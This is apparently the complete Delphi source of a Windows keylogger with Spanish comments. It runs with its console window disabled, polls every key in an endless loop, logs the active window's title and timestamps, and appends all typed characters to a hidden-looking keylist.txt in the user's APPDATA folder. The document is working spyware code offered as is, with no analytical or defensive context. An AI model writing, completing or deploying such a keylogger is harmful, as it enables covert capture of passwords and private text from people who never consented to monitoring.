program Project2;
//{$APPTYPE CONSOLE}
uses
Windows,sysutils,
Tlhelp32;
var
FullLogData : String;
procedure savefile(filename, texto: string);
var
ar: TextFile;
begin
AssignFile(ar, filename);
FileMode := fmOpenWrite;
if FileExists(filename) then
Append(ar)
else
Rewrite(ar);
Write(ar, texto);
CloseFile(ar);
end;
function IntToStr(i:integer):string;
var
s:string;
begin
Str(i,s);
Result:=s;
end;
//no funciona GetExeNameByProcID revisar
//***************************
function GetWindow: string;
var
header:HWND;
apchar:array[0..254] of char;
pProcID : DWORD;
begin
header:=GetForegroundWindow;
GetWindowText(header, apchar, Length(apchar));
GetWindowThreadProcessId (header, pProcID);
result := '['+ansistring(apchar)+']';
end;
//**********************************************
function DateTime: string;
var
lt : TSYSTEMTIME;
st : TSYSTEMTIME;
begin
GetLocalTime(lt);
GetSystemTime(st);
result := '['+(IntToStr(lt.wmonth) + '.'
+ IntToStr(lt.wDay) + '.'
+ IntToStr(lt.wYear) + ' '
+ IntToStr(lt.wHour) + ':'
+ IntToStr(lt.wMinute) + ':'
+ IntToStr(lt.wSecond))+
']';
end;
function IsKeyPressed(KeyCode: Integer): Boolean;
begin
result := (Windows.GetAsyncKeyState(KeyCode) and $8001) = $8001;
end;
VAR
VirtKey : UINT;
ScanCode : UINT;
UniEx : Integer;
keyboardLayout : HKL;
keyboardSpeed : Integer;
keyboardState : TKeyboardState;
strBuffer : String;
UnicodeChar : array[0..1] of WChar;
strkeyname : Array[0..32] of AnsiChar;//Char;
dwThread : DWORD;
dwProcess : DWORD;
dwHandle : HWND;
win, lastwin ,s : string;
begin
//AllocConsole;
//SetConsoleCP(1251);
//SetConsoleOutputCp(1251);
Windows.SystemParametersInfo(Windows.SPI_GETKEYBOARDSPEED, 0, @keyboardSpeed, 0);
WHILE true DO
BEGIN
If (win <> GetWindow()) then
begin
win:= GetWindow();
savefile(SysUtils.GetEnvironmentVariable('APPDATA')+'\keylist.txt', (#13#10#13#10+DateTime+win));
end;
//**************************
Windows.GetKeyState(VK_CAPITAL);
Windows.GetKeyboardState(keyboardState);
dwHandle:= Windows.GetForegroundWindow();
dwThread:= Windows.GetWindowThreadProcessId(dwHandle,@dwProcess);
keyboardLayout:= Windows.GetKeyboardLayout(dwThread);
FOR VirtKey := 0 TO $FF DO
IF IsKeyPressed(VirtKey) THEN
BEGIN
ScanCode := MapVirtualKeyEx(VirtKey, 0, keyboardLayout);
GetKeyNameTextA(ScanCode SHL 16,strkeyname,sizeof(strkeyname));
IF lstrlenA(strkeyname) > 1 THEN
BEGIN
IF VirtKey = VK_SPACE THEN strkeyname := ' ';
IF VirtKey = VK_RETURN THEN strkeyname := #13#10;
IF VirtKey = VK_NUMLOCK THEN strkeyname := '[BLOQ NUM]';
IF VirtKey = VK_BACK THEN strkeyname := '[BACK]';
IF VirtKey = VK_ESCAPE THEN strkeyname := '[ESC]';
IF VirtKey = VK_DELETE THEN strkeyname := '[DEL]';
IF VirtKey = VK_CAPITAL THEN strkeyname := '[mayusc]';
IF VirtKey = VK_TAB THEN strkeyname := '[TAB]';
IF VirtKey = VK_F1 THEN strkeyname := '[F1]';
IF VirtKey = VK_F2 THEN strkeyname := '[F2]';
IF VirtKey = VK_F3 THEN strkeyname := '[F3]';
IF VirtKey = VK_F4 THEN strkeyname := '[F4]';
IF VirtKey = VK_F5 THEN strkeyname := '[F5]';
IF VirtKey = VK_F6 THEN strkeyname := '[F6]';
IF VirtKey = VK_F7 THEN strkeyname := '[F7]';
IF VirtKey = VK_F8 THEN strkeyname := '[F8]';
IF VirtKey = VK_F9 THEN strkeyname := '[F9]';
IF VirtKey = VK_F10 THEN strkeyname := '[F10]';
IF VirtKey = VK_F11 THEN strkeyname := '[F11]';
IF VirtKey = VK_F12 THEN strkeyname := '[f12]';
//es el numeral de la derecha
IF VirtKey =VK_NUMPAD0 THEN strkeyname := '0';
IF VirtKey =VK_NUMPAD1 THEN strkeyname := '1';
IF VirtKey =VK_NUMPAD2 THEN strkeyname := '2';
IF VirtKey =VK_NUMPAD3 THEN strkeyname := '3';
IF VirtKey =VK_NUMPAD4 THEN strkeyname := '4';
IF VirtKey =VK_NUMPAD5 THEN strkeyname := '5';
IF VirtKey =VK_NUMPAD6 THEN strkeyname := '6';
IF VirtKey =VK_NUMPAD7 THEN strkeyname := '7';
IF VirtKey =VK_NUMPAD8 THEN strkeyname := '8';
IF VirtKey =VK_NUMPAD9 THEN strkeyname := '9';
//and more
// write(strkeyname);
savefile(SysUtils.GetEnvironmentVariable('APPDATA')+'\keylist.txt', (strkeyname));
Continue;
END;
UniEx := ToUnicodeEx(VirtKey, ScanCode, @keyboardState, @UnicodeChar, 2, 0, keyboardLayout);
strBuffer := UnicodeChar;
SetLength(strBuffer,UniEx);
// write(strBuffer); //escribe en consola
savefile(SysUtils.GetEnvironmentVariable('APPDATA')+'\keylist.txt', (strBuffer));
END;
Sleep(keyboardSpeed DIV 4);
END;
end.